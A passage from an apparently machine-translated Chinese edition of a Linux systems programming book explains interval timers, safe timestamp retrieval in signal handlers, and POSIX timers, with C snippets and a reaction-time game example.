timer */ - memset(&mytimer, 0, sizeof(struct itimerval)); - mytimer.it_value.tv_sec = 1; - mytimer.it_interval.tv_sec = 1; - if (setitimer(ITIMER_REAL, &mytimer, 0) < 0) - FATAL("setitimer failed\n"); - while (1) - (void)pause(); -``` - -请注意我们在处理提供超时的信号时通常不使用`SA_RESTART`标志的原因的不言而喻的注释。 - -设置间隔计时器很简单:我们初始化`itimerval`结构,以便将内部`timeval`结构的秒成员设置为`1`(我们只需将微秒设置为零),并发出`setitimer(2)`的系统调用。 计时器已经准备好了-它开始倒计时。 当经过一秒后,内核将向进程发送信号`SIGALRM`(因为计时器类型为`ITIMER_REAL`)。 信号处理例程:`ticktock`将执行获取并打印出当前时间戳的任务(参见其代码如下)。 当间隔组件设置为`1`时,计时器将每隔一秒自动重复触发一次。 - -```sh -static void ticktock(int signum) -{ - char tmstamp[128]; - struct timespec tm; - int myerrno = errno; - - /* Query the timestamp ; both clock_gettime(2) and - * ctime_r(3) are reentrant-and-signal-safe */ - if (clock_gettime(CLOCK_REALTIME, &tm) < 0) - FATAL("clock_gettime failed\n"); - if (ctime_r(&tm.tv_sec, &tmstamp[0]) == NULL) - FATAL("ctime_r failed\n"); - - if (opt == 0) { - if (write(STDOUT_FILENO, tmstamp, strlen(tmstamp)) < 0) - FATAL("write failed\n"); - } else if (opt == 1) { - /* WARNING! Using the printf / fflush here in a signal handler is - * unsafe! We do so for the purposes of this demo app only; do not - * use in production. - */ - tmstamp[strlen(tmstamp) - 1] = '\0'; - printf("\r%s", tmstamp); - fflush(stdout); - } - errno = myerrno; -} -``` - -前一个信号处理程序例程每秒调用一次(当然,内核在计时器到期时将信号`SIGALRM`传递给进程)。 该例程的任务很明确:它必须查询和打印当前日期-时间;即时间戳。 - -# 获取当前时间 - -乍一看,查询当前时间很简单。 许多高级程序员使用以下 API 序列来实现它: - -```sh -time(2) -localtime(3) -strftime(3) -``` - -我们没有。 这是为什么? 回想一下我们在[第 11 章](11.html)、*信号-第一部分*、(在*重入安全和信号*一节中)中关于异步信号安全(重入)功能的讨论。 在上述三个 API 中,只有第一个`time(2)`API 被认为是信号安全的;其他两个则不是(也就是说,它们不应该在信号处理程序内使用)。 相关手册页(`signal-safety(7)`)证实了这一点。 - -因此,我们使用文档记录的异步信号安全 API--`time(2)`、`clock_gettime(2)`和`ctime_r(3)`--来执行安全获取时间戳的角色。 下面让我们快速瞥一眼它们。 - -第一个`clock_gettime(2)`系统调用的签名如下: - -```sh -int clock_gettime(clockid_t clk_id, struct timespec *tp); -``` - -第一个参数是要使用的时钟源或时钟类型;事实上,Linux OS(和 glibc)支持许多不同的内置时钟类型;其中包括: - -* `CLOCK_REALTIME`:全系统挂钟报时(实时),查询时间戳。 -* `CLOCK_MONOTONIC`:单调的时钟只在一个方向上计数(显然是向上的;穿越时间的倒退是 MAD 仍在研究的一个特征,是吗?)。 科学家)。 它通常计算自系统启动以来经过的时间。 -* `CLOCK_BOOTTIME`(来自 Linux 2.6.39):这与 CLOCK_MONTONTON 基本相同,不同之处在于它考虑了系统挂起的时间。 -* `CLOCK_PROCESS_CPUTIME_ID`:给定进程的所有线程在 CPU 上花费的 CPU 时间的度量(通过 PID;使用`clock_getcpuclockid(3)`API 查询)。 -* `CLOCK_THREAD_CPUTIME_ID`:特定线程在 CPU 上花费的 CPU 时间的度量(使用`pthread_getcpuclockid(3)`API 进行查询)。 - -还有更多信息;有关详细信息,请参阅`clock_gettime(2)`上的手册页。 就我们目前的目的而言,我们将使用`CLOCK_REALTIME`。 - -`clock_gettime(2)`*和*的第二个参数是值-结果样式的参数;实际上,这是一个返回值。 成功返回后,它将在`timeval`结构中保存时间戳;该结构在`time.h`头中定义,并以秒和纳秒为单位保存当前时间戳: - -```sh -struct timespec { - time_t tv_sec; /* seconds */ - long tv_nsec; /* nanoseconds */ - }; -``` - -我们会对秒内的价值相当满意的。 - -但是,以秒和纳秒为单位的这个值究竟是如何解释的呢? 实际上,这在 Unix 世界中非常常见:Unix 系统将时间存储为自 1970 年 1 月 1 日午夜(00:00)以来经过的秒数--可以将其视为 Unix 的诞生! 这个时间值被称为自大纪元以来的时间或 Unix 时间。好的,所以今天会有相当多的秒数,对吗? 那么如何用人类可读的格式来表达呢? 我们很高兴您这么问,因为这正是`ctime_r(3)`*和*API 的职责所在: - -```sh -char *ctime_r(const time_t *timep, char *buf); -``` - -第一个参数将是我们从`clock_gettime(2)`函数 API 返回的`time_t`成员(指针);同样,第二个参数是一个值结果样式返回-成功完成时,它将保存人类可读的时间戳! 请注意,应用程序员的工作是为缓冲区`buf`分配内存(随后根据需要释放它)。 在我们的代码中,我们只使用静态分配的本地缓冲区。 (当然,我们会对所有 API 执行错误检查。) - -最后,根据`opt`值(由用户传递),我们可以使用(Safe)的`write(2)`系统调用,也可以使用(UnSafe!)`printf(3)`/`fflush(3)`的 API 来打印当前时间。 - -The code `printf("\r%s", tmstamp);` has the `printf(3)` using the `\r` format—this is the carriage return, which effectively brings the cursor back to the beginning of the same line. This gives the appearance of a clock constantly updating. This is nice, except for the fact that using `printf(3)`itself is signal-unsafe! - -# 试运行 - -以下是一次试运行,首先使用 Signal-Safe`write(2)`*和*方法: - -```sh -$ ./intv_clksimple -Usage: ./intv_clksimple {0|1} - 0 : the Correct way (using write(2) in the signal handler) - 1 : the *Wrong* way (using printf(3) in the signal handler) *@your risk* -$ ./intv_clksimple 0 -Thu Jun 28 17:52:38 2018 -Thu Jun 28 17:52:39 2018 -Thu Jun 28 17:52:40 2018 -Thu Jun 28 17:52:41 2018 -Thu Jun 28 17:52:42 2018 -^C -$ -``` - -现在,这里有一个使用信号不安全的方法`printf(3)`/`fflush(3)`*和*方法: - -```sh -$ ./intv_clksimple 1 - *WARNING* [Using printf in signal handler] -Thu Jun 28 17:54:53 2018^C -$ -``` - -它看起来更好,因为时间戳在同一行上不断刷新,但不安全。 亲爱的读者,这本书不能向你展示回车风格的令人愉快的效果`printf("\r...")`。你一定要在你的 Linux 系统上尝试一下,亲眼看看这一点。 - -We understand that using the `printf(3)` and `fflush(3)`APIs within a signal handler is bad programming practice—they are not async-signal safe. - -But what if the low-level design specification demands that we use exactly these APIs? Well, there's always a way: why not redesign the program to use one of the synchronous blocking APIs to wait upon and catch signal(s) wherever appropriate (Remember, when trapping  fatal signals such as `SIGILL`, `SIGFPE`, `SIGSEGV`, and `SIGBUS`, it's recommended to use the usual async `sigaction(2)` API): the `sigwait(3)`, `sigwaitinfo(2)`, `sigtimedwait(2)` or even the `signalfd(2)` API (that we covered in [Chapter 12](12.html), *Signaling - Part II*, section *Synchronously blocking for signals via the sigwait* APIs*). We leave this as an exercise for the reader. - -# 关于使用性能分析计时器的一句话 - -我们已经比较详细地研究了`ITIMER_REAL`计时器类型的用法-它是实时倒计时的。 使用其他两个计时器(`ITIMER_VIRTUAL`和`ITIMER_PROF`)怎么样? 嗯,代码样式非常相似;没有什么新东西。 对于不熟悉这一点的开发人员来说,他们面临的问题是:信号似乎永远都不会到达! - -让我们使用`ITIMER_VIRTUAL`计时器获取一个简单的代码片段: - -```sh -static void profalrm(int signum) -{ - /* In production, do Not use signal-unsafe APIs like this! */ - printf("In %s:%d sig=%d\n", __func__, __LINE__, signum); -} - -[...] - -// in main() ... - -struct sigaction act; -struct itimerval t1; - -memset(&act, 0, sizeof(act)); -act.sa_handler = profalrm; -sigfillset(&act.sa_mask); /* disallow all signals while handling */ -if (sigaction(SIGPROF, &act, 0) < 0) - FATAL("sigaction on SIGALRM failed"); - -[...] - -memset(&t1, 0, sizeof(struct itimerval)); -t1.it_value.tv_sec = 1; -t1.it_interval.tv_sec = 1; -if (setitimer(ITIMER_PROF, &t1, 0) < 0) - FATAL("setitimer failed\n"); - -while (1) - (void)pause(); -``` - -运行时,不显示任何输出-计时器似乎不工作。 - -但事实并非如此-它还在工作,但问题是:进程只是通过`pause(2)`休眠。休眠时,它不在 CPU 上运行;因此,内核几乎没有递减(前面提到的,逐秒)间隔计时器! 请记住,当进程在 CPU 上时,`ITIMER_VIRTUAL`和`ITIMER_PROF`计时器都只会递减(或倒计时)。 因此,一秒计时器不会实际超时,也不会发送`SIGPROF`信号。 - -因此,现在,解决前面问题的方法变得显而易见:让我们在程序中引入一些 CPU 处理并减少超时值。 我们值得信任的`DELAY_LOOP_SILENT`*和*宏(请参见源文件`common.h`)使进程绕过了一些愚蠢的逻辑-关键是它变得 CPU 密集型。 此外,我们还减少了进程在 CPU 上花费的每 10 毫秒的计时器过期时间: - -```sh -[...] -memset(&t1, 0, sizeof(struct itimerval)); -t1.it_value.tv_sec = 0; -t1.it_value.tv_usec = 10000; // 10,000 us = 10 ms -t1.it_interval.tv_sec = 0; -t1.it_interval.tv_usec = 10000; // 10,000 us = 10 ms -if (setitimer(ITIMER_PROF, &t1, 0) < 0) - FATAL("setitimer failed\n"); - -while (1) { - DELAY_LOOP_SILENT(20); - (void)pause(); -} -``` - -这一次,在运行时,我们看到以下内容: - -```sh -In profalrm:34 sig=27 -In profalrm:34 sig=27 -In profalrm:34 sig=27 -In profalrm:34 sig=27 -In profalrm:34 sig=27 -... -``` - -分析计时器确实在工作。 - -# 较新的 POSIX(间隔)计时器机制 - -在本章的前面部分,我们在*表 1 中看到:简单的**Alarm(2)API 和间隔计时器*的快速比较表明,虽然间隔计时器`[get|set]itimer(2)`API 优于简单的`alarm(2)`API,但它们仍然缺乏重要的现代功能。 现代 POSIX(间隔)计时器机制解决了几个缺点,其中一些缺点如下: - -* 通过添加纳秒粒度的定时器(添加了独立于 Arch 的 HRT 机制,该机制已集成到 2.6.16 Linux 内核中),分辨率提高了 1000 倍。 -* 一种通用的处理定时器超时的机制--这是一种处理异步事件的方法,比如定时器超时(我们的用例)、AIO 请求完成、消息传递等等。 我们现在不必强制将计时器超时与信号机制捆绑在一起。 -* 重要的是,一个进程(或线程)现在可以设置和管理任意数量的计时器。 -* 嗯,归根结底,总有一个上限:在这种情况下,它是资源限制`RLIMIT_SIGPENDING`。 (更严格地说,事实是操作系统为每个创建的定时器分配一个排队的实时信号,因此这是一个限制。) - -这些要点如下所示,请继续阅读。 - -# 典型的应用工作流 - -设置和使用现代 POSIX 定时器的设计方法(和使用的 API)如下;顺序通常如下所示: - -* 信号设置。 - * 假设正在使用的通知机制是一个信号,则首先通过`sigaction(2)`捕获该信号。 -* 创建并初始化计时器。 - * 确定用于测量已用时间的时钟类型(或源)。 - * 决定应用要使用的计时器到期事件通知机制-通常是使用(通常的)信号还是(新产生的)线程。 - * 上述决定是通过`timer_create(2)`的系统调用实现的;因此,它允许创建一个计时器,当然,我们也可以通过多次调用它来创建多个计时器。 -* 使用`timer_settime(2)`解除特定计时器的武装(或解除武装)。 设置计时器意味着有效地启动计时器运行-倒计时;解除计时器设置则相反-在轨道上停止计时器。 -* 要查询特定定时器中剩余(到到期)的时间(及其间隔设置),请使用`timer_gettime(2)`。 -* 使用`timer_getoverrun(2)`检查给定定时器的超时计数。 -* 使用`timer_delete(2)`删除计时器(显然还会解除计时器的武装)。 - -# 创建和使用 POSIX(间隔)计时器 - -如前所述,我们使用功能强大的`timer_create(2)`系统调用为调用进程(或线程,就此而言)创建计时器: - -```sh -#include -#include -int timer_create(clockid_t clockid, struct sigevent *sevp, - timer_t *timerid); -Link with -lrt. -``` - -We have to link with the **real time** (**rt**) library to make use of this API. The `librt`library implements the POSIX.1b Realtime Extensions to POSIX interfaces. Find a link to the `librt`man page in the *Further Reading *section on the GitHub repository. - -传递给`timer_create(2)`*和*的第一个参数通知操作系统要使用的时钟源;我们避免重复此问题,请读者参阅本章前面介绍的获取当前时间一节,其中列举了 Linux 中几个常用的时钟源。 (此外,如上所述,有关更多详细信息,请参阅`clock_gettime(2)`上的手册页。) - -传递给`timer_create(2)`*和*的第二个参数很有趣:它提供了一种通用方法来指定应用要使用的计时器过期事件通知机制! 要理解这一点,让我们来看一下`sigevent`的结构: - -```sh -#include - -union sigval { /* Data passed with notification */ - int sival_int; /* Integer value */ - void *sival_ptr; /* Pointer value */ - }; - -struct sigevent { - int sigev_notify; /* Notification method */ - int sigev_signo; /* Notification signal */ - union sigval sigev_value; /* Data passed with notification */ - void (*sigev_notify_function) (union sigval); - /* Function used for thread notification (SIGEV_THREAD) */ - void *sigev_notify_attributes; /* Attributes for notification - thread(SIGEV_THREAD) */ - pid_t sigev_notify_thread_id; - /* ID of thread to signal (SIGEV_THREAD_ID) */ - }; -``` - -(回想一下,我们已经在[第 11 章](11.html)、*信号-第 I 部分*和[第 12 章](12.html)、*信号-第 II 部分*中遇到并使用了`union sigval`机制将值传递给信号处理程序。) - -下面列举了`sigev_notify`成员的有效值: - -| **通知方式**:`sigevent.sigev_notify` | **含义** | -| `SIGEV_NONE` | 事件到达时不执行任何操作-空通知 | -| `SIGEV_SIGNAL` | 通过向进程发送`sigev_signo`成员中指定的信号来通知 | -| `SIGEV_THREAD` | 通过调用(实际上是派生)函数为`sigev_notify_function`的(新)线程来通知,传递给它的参数是`sigev_value`,如果`sigev_notify_attributes`不为空,则应该是新线程的`pthread_attr_t `结构。 (读者请注意,我们将在后续章节详细介绍多线程。) | -| `SIGEV_THREAD_ID` | 特定于 Linux,用于指定在计时器超时时运行的内核线程;实际上,只有线程库才使用此功能。 | - -Table 2 : Using the sigevent(7) mechanism - -在第一种情况下,`SIGEV_NONE`,总是可以通过`timer_gettime(2)`*和*API 手动检查计时器是否超时。 - -更有趣、更常见的情况是第二种情况,`SIGEV_SIGNAL`。 在这里,一个信号被传递给计时器已过期的进程;进程的`sigaction(2)`处理程序的`siginfo_t`数据结构被适当填充;对于我们的用例(使用 POSIX 计时器),如下所示: - -* 将`si_code`(或信号来源字段)设置为值`SI_TIMER`,以表示 POSIX 计时器已过期(请查看`sigaction`上手册页中的其他可能性) -* 将`si_signo`设置为信号号(`sigev_signo`) -* `si_value`这将是在联盟中设置的值`sigev_value` - -出于我们的目的(至少在本章中),我们将只考虑将第一`sigevent`的通知类型设置为值`SIGEV_SIGNAL`的情况(从而设置要在第二`sigev_signo`成员中传递的信号)。 - -传递给`timer_create(2)`,`timer_t *timerid`的第三个参数是一个(现在通用的)值结果样式的参数;它实际上是新创建的 POSIX 计时器的返回 ID! 当然,系统调用在失败时返回`-1`(相应地设置了`errno`),在成功时返回`0`。 参数`timerid`是定时器的句柄-我们通常将其作为后续 POSIX 定时器 API 中的参数传递,以指定要操作的特定定时器。 - -# 军备竞赛-POSIX 定时器的武装和解除武装 - -如前所述,我们使用`timer_settime(2)`的系统调用来解除(启动)或解除(停止)计时器: - -```sh -#include -int timer_settime(timer_t timerid, int flags, - const struct itimerspec *new_value, - struct itimerspec *old_value); -Link with -lrt. -``` - -由于可以有多个并发的 POSIX 计时器同时运行,因此我们需要准确地指定我们引用的是哪个计时器;这是通过第一个参数`timer_id`(计时器的 ID)和前面看到的系统调用的有效返回来完成的。 - -这里使用的重要数据结构是`itimerspec`;其定义如下: - -```sh -struct timespec { - time_t tv_sec; /* Seconds */ - long tv_nsec; /* Nanoseconds */ -}; - -struct itimerspec { - struct timespec it_interval; /* Timer interval */ - struct timespec it_value; /* Initial expiration */ -}; -``` - -因此,应该很清楚:在第三个参数中,有一个指向`itimerspec`结构的指针,名为`new_value`: - -* 我们可以将达到(理论)分辨率的时间指定到单个纳秒! 请注意,时间是根据(`timer_create(2`)API 指定的时钟源测量的。 - * 这提醒我们,始终可以通过`clock_getres(2)`接口查询时钟分辨率。 - -* 关于初始化`it_value`结构(`timespec`结构): - * 将其设置为非零值可指定初始计时器超时值。 - * 将其设置为零,以指定我们正在解除计时器的武装(停止)。 - * 如果此结构已经具有正值,该怎么办? 然后它会被覆盖,计时器也会用新的值重新武装起来。 -* 不仅如此,通过将时间`it_interval`(timespec 结构)设置为非零值,我们将设置一个重复间隔计时器(因此而得名为 POSIX 间隔计时器);时间间隔是它被初始化为的值。 计时器将继续无限期地开火,或者直到它被解除武装或删除。 相反,如果将此结构清零,则计时器将变成一个普通的一次性计时器(只在 it_value 成员中指定的时间过去时触发一次)。 - -通常,将参数`flags`的值设置为`0`--`timer_settime(2)`上的手册页指定了一个可以使用的附加标志。 最后,第四个参数`old_value`(同样是指向结构`itimerspec`的指针)的工作方式如下所示: - -* 如果为`0`,则它将被简单地忽略。 -* 如果非零,则查询给定计时器到期前的剩余时间。 -* 过期时间将在第一个`old_value->it_value`成员中返回(以秒和纳秒为单位),其设置的间隔将在第二个`old_value->it_interval`成员中返回。 - -不出所料,成功的返回值是`0`,失败的返回值是`-1`(适当设置了返回值`errno`)。 - -# 查询计时器 - -可以随时查询给定的 POSIX 定时器,通过(`timer_gettime(2`)系统调用 API 获取定时器到期前的剩余时间;其签名如下: - -```sh -#include -int timer_gettime(timer_t timerid, struct itimerspec *curr_value); -``` - -很明显,传递给`timer_gettime(2)`的第一个参数是要查询的特定计时器的 ID,传递的第二个参数是值 Result 样式的返回值-到期时间在其中返回(在类型为`itimerspec`的结构中)。 - -正如我们从前面了解到的,结构`itimerval`结构本身由两个类型为`timespec`的数据结构组成;到计时器到期的剩余时间将放在第二个`curr_value->it_value`成员中。 如果此值为 0,则表示计时器已停止(解除武装)。 如果放在第二个 -`curr_value->it_interval`成员中的值为正,则表示计时器重复触发的间隔(在第一次超时之后);如果为 0,则表示计时器为单次计时器(没有重复超时)。 - -# 显示工作流的示例代码片段 - -在下面,我们将显示示例程序`ch13/react.c`中的代码片段(请参阅下一节中关于这个相当有趣的反应时间游戏应用的更多信息),它清楚地说明了前面描述的步骤顺序。 - -* 信号设置: - * 假设正在使用的通知机制是信号,则首先通过`sigaction(2)`捕获信号,如下所示: - -```sh -struct sigaction act; -[...] -// Trap SIGRTMIN : delivered on (interval) timer expiry -memset(&act, 0, sizeof(act)); -act.sa_flags = SA_SIGINFO | SA_RESTART; -act.sa_sigaction = timer_handler; -if (sigaction(SIGRTMIN, &act, NULL) == -1) - FATAL("sigaction SIGRTMIN failed\n"); -``` - -* 创建并初始化计时器: - * 确定用于测量运行时间的时钟类型(或源): - * 我们使用实时时钟(系统范围的挂钟时间`CLOCK_REALTIME`)作为计时器源。 - * 决定应用要使用的计时器到期事件通知机制-通常是使用(通常的)信号还是(新产生的)线程。 - * 我们使用信号作为定时器过期事件通知机制。 - * 上述决定是通过系统调用*和*`timer_create(2)`实现的,该系统调用允许创建计时器;当然,我们也可以通过多次调用来创建多个计时器: - -```sh -struct sigevent sev; -[...] -/* Create and init the timer */ -sev.sigev_notify = SIGEV_SIGNAL; -sev.sigev_signo = SIGRTMIN; -sev.sigev_value.sival_ptr = &timerid; -if (timer_create(CLOCK_REALTIME, &sev, &timerid) == -1) - FATAL("timer_create failed\n"); -``` - -* 使用`timer_settime(2)`API 解除(或解除)特定计时器的武装(或解除武装)。 给计时器解除武装的意思是有效地启动它运行,或倒计时;解除计时器的武装正好相反--让它停在轨道上: - -```sh -static struct itimerspec itv; // global -[...] -static void arm_timer(timer_t tmrid, struct itimerspec *itmspec) -{ - VPRINT("Arming timer now\n"); - if (timer_settime(tmrid, 0, itmspec, NULL) == -1) - FATAL("timer_settime failed\n"); - jumped_the_gun = 0; -} -[...] -printf("Initializing timer to generate SIGRTMIN every %ld ms\n", - freq_ms); -memset(&itv, 0, sizeof(struct itimerspec)); -itv.it_value.tv_sec = (freq_ms * 1000000) / 1000000000; -itv.it_value.tv_nsec = (freq_ms * 1000000) % 1000000000; -itv.it_interval.tv_sec = (freq_ms * 1000000) / 1000000000; -itv.it_interval.tv_nsec = (freq_ms * 1000000) % 1000000000; -[...] -arm_timer(timerid, &itv); -``` - -* 要查询特定计时器中剩余(到到期)的时间(及其间隔设置),请使用`timer_gettime(2)` - -在此特定应用中不执行此操作。 - -* 使用`timer_getoverrun(2)`检查给定定时器的超时计数 - -下面的*计算溢出*部分将解释此 API 的用途,以及我们可能需要它的原因。 - -```sh -/* - * The realtime signal (SIGRTMIN) - timer expiry - handler. - * WARNING! Using the printf in a signal handler is unsafe! - * We do so for the purposes of this demo app only; do Not - * use in production. - */ -static void timer_handler(int sig, siginfo_t * si, void *uc) -{ - char buf[] = "."; - - c++; - if (verbose) { - write(2, buf, 1); -#define SHOW_OVERRUN 1 -#if (SHOW_OVERRUN == 1) - { - int ovrun = timer_getoverrun(timerid); - if (ovrun == -1) - WARN("timer_getoverrun"); - else { - if (ovrun) - printf(" overrun=%d [@count=%d]\n", ovrun, c); - } - } -#endif - } -} -``` - -* 使用`timer_delete(2)`删除(并明显解除)计时器 - -这不是在这个特定的应用中执行的(因为进程退出当然会删除与该进程相关联的所有计时器)。 - -正如`timer_create(2)`上的手册页告诉我们的那样,关于 POSIX(间隔)计时器还有以下几点需要注意: - -* 在执行`fork(2)`时,所有计时器都会自动解除武装;换句话说,计时器在子进程中不会继续超时。 -* 在执行`execve(2)`时,所有计时器都将被删除,因此在后续进程中不可见。 -* 值得注意的是(从 Linux 3.10 内核开始),可以使用.proc 文件系统来查询进程拥有的计时器;只需在伪`file /proc//timers`文件中查找 cat 即可查看它们(如果它们存在)。 -* 从 Linux 4.10 内核开始,POSIX 计时器是内核可配置的选项(在内核构建时,缺省情况下启用它们)。 - -正如我们反复提到的,手册页是开发人员可用的非常宝贵和有用的资源;同样,`timer_create(2)`上的手册页([https://linux.die.net/man/2/timer_create](https://linux.die.net/man/2/timer_create))提供了一个非常好的示例程序;我们敦促读者参考手册页,阅读它,构建它并试用该程序。 - -# 计算溢出的原因 - -假设我们使用信号作为事件通知机制来告诉我们 POSIX 计时器已经过期,假设计时器过期时间非常短(比如说,几十微秒);例如,100 微秒。 这意味着,每隔 100 微秒,信号就会被传递到目标进程! - -在这种情况下,以如此高的速率传递相同的不断重复的信号的过程不可能处理它,这是非常合理的。 我们还从我们对信号的了解中知道,在恰恰像这样的情况下,使用实时信号将远远优于使用常规 Unix 信号,因为操作系统有能力对实时信号进行排队,但不能对常规信号进行排队-它们(常规信号)将被丢弃,并且只保留一个实例。 - -因此,我们将使用实时信号(比方说,`SIGRTMIN`)来表示计时器超时;然而,对于非常微小的计时器超时(例如,正如我们所说的,100 微秒),即使是这种技术也不够! 这一过程肯定会被相同信号的快速传递所溢出。 正是对于这些情况,没有人可以检索计时器超时和实际信号处理之间发生的实际溢出次数。 我们该怎么做呢? 有两种方式: - -* 一种是通过信号处理程序的`siginfo_t->_timer->si_overrun`成员(这意味着我们在使用 Sigaction 捕获信号时指定了`SA_SIGINFO`标志)-这是溢出计数。 -* 但是,该方法是特定于 Linux 的(并且不可移植)。 获取溢出计数的一种更简单、可移植的方法是使用`timer_getoverrun(2)`系统调用。 这里的缺点是系统调用比内存查找有更多的开销;就像生活中一样,当有好处时,也有坏处。 - -# POSIX 间隔计时器-示例程序 - -编程最终是通过做来学习的,理解是通过做来深刻内化的,而不是简单的看或读。 让我们采纳我们自己的建议,截取几个像样的代码示例,来说明如何使用 POSIX(Interval)计时器 API。 (当然,亲爱的读者,这意味着你也可以这么做!) - -第一个示例程序是一个小的 CLI 游戏,游戏名为“你能有多快反应”? 第二个示例程序是 Run-Walk 计时器的简单实现。 请继续阅读,了解血淋淋的细节。 - -# 反应时间游戏 - -我们都知道现代计算机速度很快! 当然,这是一个非常相对的说法。 具体有多快? 这是个有趣的问题。 - -# 多快是快? - -在[第 2 章](02.html),*虚拟内存*中,在内存金字塔部分,我们看到了*表 2:内存层级编号。* 在这里,我们对这些数字进行了代表性的查看-表中列举了不同类型的内存技术(嵌入式和服务器空间)的典型访问速度。 - -简要回顾一下典型的内存(和网络)访问速度。 当然,这些数字只是指示性的,最新的硬件很可能具有卓越的性能特征;这里的概念是重点关注的: - -| **CPU 寄存器** | **CPU 缓存** | **RAM** | **闪光灯** | **磁盘** | **网络往返** | -| 300-500 ps | 0.5 ns(L1)至 20 ns(L3) | 50-100 ns | 25-50 美元 | 5-10 毫秒 | >=100s 毫秒 | - -Table 3 : Hardware memory speed summary table - -这些潜伏值中的大多数都是如此之小,以至于作为人类,我们实际上无法将它们可视化(参见后面关于*平均人类反应时间*的信息框)。 所以,这就引出了一个问题。 我们人类甚至可以希望非常正确地可视化和关联到哪些最小的微小数字? 简短的答案是几百毫秒。 - -为甚麽我们要这样说呢? 那么,如果一个电脑程序告诉你看到一条信息后,要尽可能快地做出反应,并立即按下某个键盘组合键,那么需要多长时间呢? 所以,我们在这里真正试图测试的是人类对视觉刺激的反应时间。啊,这就是我们可以通过编写这个精确的程序来经验上回答的问题:反应计时器! - -Do note that this simple visual stimulus reaction test is not considered to be scientific; we completely ignore important delay-inducing mechanisms such as the computer-system hardware and software itself. So don't beat yourself up on the results you get when you try it out! - -# 我们的反应游戏-它是如何运作的 - -因此,在较高的层面上,下面是该程序的分步计划(实际代码显示在以下部分中;我们建议您先阅读本文,然后再检查代码): - -* 创建并初始化一个简单的警报;将其编程为在任意时间到期-程序启动后 1 到 5 秒之间的任何时间 -* 警报到期时,请执行以下操作: - * 设置 POSIX(间隔)定时器(至第一个参数中指定的频率)。 - * 显示一条消息,要求用户按键盘上的*Ctrl*+*C[T3* - * 取一个时间戳(让我们称它为`tm_start`)。 -* 当用户实际按下*^C*时(*Ctrl*+*C*;我们只需通过`sigaction(2)`捕获 SIGINT 即可获知),再次获取时间戳(我们称其为`tm_end`。 -* 计算用户的反应时间(按`tm_end`-`tm_start`)并显示。 - -(请注意前面的步骤如何遵循我们在本章前面描述的*典型应用工作流程*。) - -此外,我们要求用户指定间隔计时器的间隔(以毫秒为单位)(第一个参数),并将可选的 Verbose 选项指定为第二个参数。 - -进一步分解(更详细地),下面的初始化代码执行以下操作: - -* 通过`sigaction(2)`捕获信号: - * `SIGRTMIN`:我们将使用信号通知来指定计时器超时;这是在 POSIX 间隔计时器超时时生成的信号。 - * `SIGINT`:用户按下键盘组合键*^C*进行反应时产生的信号。 - * `SIGALRM`:我们最初的随机警报到期时产生的信号 -* 设置 POSIX 间隔计时器: - * 初始化表`sigevent`的结构。 - * 使用`timer_create(2)`创建计时器(带有实时时钟源)。 - * 将`itimerspec`参数结构初始化为用户指定的频率值(毫秒) - -然后: - -* 向用户显示一条消息: - -```sh -We shall start a timer anywhere between 1 and 5 seconds of starting this app. - -GET READY ... - [ when the "QUICK! Press ^C" message appears, press ^C quickly as you can ] -``` - -* 在 1 到 5 秒之间的任意时间报警到期 -* 我们进入`SIGALRM`处理程序函数 - * 它显示`*** QUICK! Press ^C !!! *** `消息 - * 它调用`timer_settime(2)`命令来启动计时器 - * 它需要`tm_start`个时间戳(带有`clock_gettime(2)`个 API) - * POSIX 间隔计时器现在运行;它每隔`freq_ms`毫秒(用户提供的值)超时一次;在详细模式下运行时,我们为每个计时器超时显示`**.**`秒 -* 用户在近距离或远距离的某个时刻做出反应并按下*、Ctrl、*+*C*(*^C*);在 SIGINT 的信号处理程序代码中,我们执行以下操作: - * 取第一个`tm_end`个时间戳(使用第二个`clock_gettime(2)`个 API) - * 计算增量(反应时间!)。 通过`tm_end`-`tm_start`设置并显示 -* 出口。 - -# 反应-试验运行 - -最好是看到程序的实际运行情况;当然,读者会做得很好(并且更喜欢这个练习!)。 要真正为自己构建和试用它,请执行以下操作: - -```sh -$ ./react -Usage: ./react [verbose-mode:[0]|1] - default: verbosity is off - f.e.: ./react 100 => timeout every 100 ms, verbosity Off - : ./react 5 1 => timeout every 5 ms, verbosity On - -How fast can you react!? -Once you run this app with the freq-in-millisec parameter, -we shall start a timer anywhere between 1 and 5 seconds of -your starting it. Watch the screen carefully; the moment -the message "QUICK! Press ^C" appears, press ^C (Ctrl+c simultaneously)! -Your reaction time is displayed... Have fun! - -$ -``` - -我们首先以 10 毫秒的频率运行它,并且没有冗长: - -```sh -$ ./react 10 -Initializing timer to generate SIGRTMIN every 10 ms -[Verbose: N] -We shall start a timer anytime between 1 and 5 seconds from now... - -GET READY ... - [ when the "QUICK! Press ^C" message appears, press ^C quickly as you can ] -``` - -在 1 到 5 秒的随机间隔后,将出现此消息,用户必须做出反应: - -```sh -*** QUICK! Press ^C !!! *** -^C -*** PRESSED *** - Your reaction time is precisely 0.404794198 s.ns [~= 405 ms, count=40] -$ -``` - -接下来,使用 10 毫秒的频率和详细模式打开: - -```sh -$ ./react 10 1 -Initializing timer to generate SIGRTMIN every 10 ms -timer struct :: - it_value.tv_sec = 0 it_value.tv_nsec = 10000000 - it_interval.tv_sec = 0 it_interval.tv_nsec = 10000000 -[SigBlk: -none-] -[Verbose: Y] -We shall start a timer anytime between 1 and 5 seconds from now... - -GET READY ... - [ when the "QUICK! Press ^C" message appears, press ^C quickly as you can ] -``` - -在 1 到 5 秒的随机间隔后,将出现此消息,用户必须做出反应: - -```sh -react.c:arm_timer:161: Arming timer now - -*** QUICK! Press ^C !!! * -``` - -现在,句点字符`.`迅速出现,对于 POSIX 间隔计时器的每个超时,它都会出现一次;也就是说,在这次运行中,每 10 毫秒出现一次。 - -```sh -.....................................^C -*** PRESSED *** - Your reaction time is precisely 0.379339662 s.ns [~= 379 ms, count=37] -$ -``` - -在我们之前的示例运行中,用户花费了 405ms 和 379ms 来做出反应;正如我们所提到的,它在数百毫秒的范围内。 接受挑战-你还能做得更好吗? - -Research findings indicate the following numbers for average human reaction times: - -| **刺激** | **视觉** | **听觉** | **触摸** | -| 平均人体反应时间 | 250 毫秒 | 170 毫秒 | 150 毫秒 | - -Source: [https://backyardbrains.com/experiments/reactiontime](https://backyardbrains.com/experiments/reactiontime).We have become used to using phrases such as "in the blink of an eye" to mean really quickly. Interestingly, how long does it actually take to blink an eye? Research indicates that it takes an average of 300 to 400 ms! - -# Reaction 游戏代码查看器 - -一些关键功能方面如下所示;首先是为`SIGRTMIN`设置信号处理程序并创建 POSIX 间隔(`ch13/react.c`)的代码: - -For readability, only key parts of the source code are displayed in the following; to view the complete source code, build it, and run it, the 